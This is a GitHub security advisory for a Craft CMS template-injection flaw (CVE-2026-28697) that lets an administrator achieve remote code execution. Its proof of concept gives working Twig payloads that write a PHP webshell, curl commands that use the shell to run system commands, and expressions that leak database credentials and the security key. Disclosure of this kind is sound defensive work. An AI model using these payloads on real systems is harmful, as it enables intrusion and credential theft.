Skip to content

Authenticated RCE via "craft.app.fs.write()" in Twig Templates

Moderate
angrybrad published GHSA-v47q-jxvr-p68x Mar 2, 2026

Package

composer craftcms/cms (Composer)

Affected versions

>= 5.0.0-RC1, < 5.9.0-beta.1
>= 4.0.0-RC1, < 4.17.0-beta.1

Patched versions

5.9.0-beta.1
4.17.0-beta.1

Description

Summary

An authenticated administrator can achieve Remote Code Execution (RCE) by injecting a Server-Side Template Injection (SSTI) payload into Twig template fields (e.g., Email Templates). By calling the craft.app.fs.write() method, an attacker can write a malicious PHP script to a web-accessible directory and subsequently access it via the browser to execute arbitrary system commands.


Proof of Concept

Attack Prerequisites

  • Authenticated administrator account with allowAdminChanges enabled, or access to the System Messages utility

Steps to Reproduce

  1. Navigate to Utilities → System Messages (/admin/utilities/system-messages)
  2. Edit any email template (e.g., "Test Email") and inject the following in the body (or the Subject):
    • To exploit it by writing to a file system:
      • Note: Replace the filesystem handle (e.g., hardDisk) with a valid handle configured in the target installation.
       {{ craft.app.fs.getFilesystemByHandle('hardDisk').write('shell.php', '<?php isset($_GET["c"]) ? system($_GET["c"]) : null; ?>') }}
    • To exploit it by writing to a volume:
      • Note: Replace the volume handle (e.g., images) with a valid handle configured in the target installation.
       {{ craft.app.volumes.getVolumeByHandle('images').fs.write('shell.php', '<?php isset($_GET["c"]) ? system($_GET["c"]) : null; ?>') }}
    payload-injection
  3. Save & go to Settings → Email (/admin/settings/email)
  4. Click "Test" at the bottom of the page to trigger template rendering
  5. The webshell is now written to the filesystem/volume. Access it via curl or directly from the browser:
    Note: The path might be different on your end depending on the filesystem or volume configuration.
    # For Filesystem
    curl "http://target.com/uploads/shell.php?c=id"
    # For Volume
    curl "http://target.com/uploads/images/shell.php?c=id"
    # Example Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
    rce-poc

Additional Impact

The same craft.app exposure without any security measures enables additional attack vectors:

Database Credential Disclosure

Database credentials are stored in .env outside the webroot and are not accessible to admins through the UI. This bypasses that protection.

{{ craft.app.db.username }}
{{ craft.app.db.password }}
{{ craft.app.db.dsn }}

Security Key Disclosure

Craft explicitly redacts the security key from phpinfo and error logs, indicating it should be protected. However, craft.app.config.general.securityKey bypasses this protection.

{{ craft.app.config.general.securityKey }}

Recommended Fix

  • Add Twig sandbox rules to block write, writeFileFromStream, deleteFile, and similar destructive methods
  • Consider allowlist approach for craft.app properties accessible in templates rather than exposing the entire application

References

9dc2a4a
#18219
#18216

Severity

Moderate

CVE ID

CVE-2026-28697

Weaknesses

Improper Neutralization of Special Elements Used in a Template Engine

The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine. Learn more on MITRE.

Credits